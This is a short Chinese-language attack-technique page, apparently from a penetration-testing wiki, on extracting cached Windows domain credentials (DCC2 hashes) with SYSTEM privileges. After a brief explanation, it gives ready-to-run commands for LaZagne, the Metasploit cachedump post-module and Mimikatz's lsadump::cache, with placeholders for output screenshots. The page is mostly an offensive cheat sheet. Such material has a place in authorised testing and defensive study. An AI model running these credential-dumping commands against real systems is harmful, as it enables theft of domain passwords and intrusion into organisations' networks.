权限： SYSTEM

描述：

攻击者可能试图访问用于在域控制器不可用的情况下允许验证发生的缓存域凭证。

在Windows Vista和更新版本中，哈希格式是DCC2（域缓存凭证版本2）哈希，也被称为MS-Cache v2哈希。默认缓存凭证的数量各不相同，每个系统都可以改变。这种哈希值不允许 PTH，而是需要通过密码破解来恢复明文密码。

LaZagne

  1. LaZagne.exe windows

DC 缓存 - 图1

Metasploit

  1. use post/windows/gather/cachedump

DC 缓存 - 图2

Mimikatz

  1. Invoke-Mimikatz -Command '"lsadump::cache"'

DC 缓存 - 图3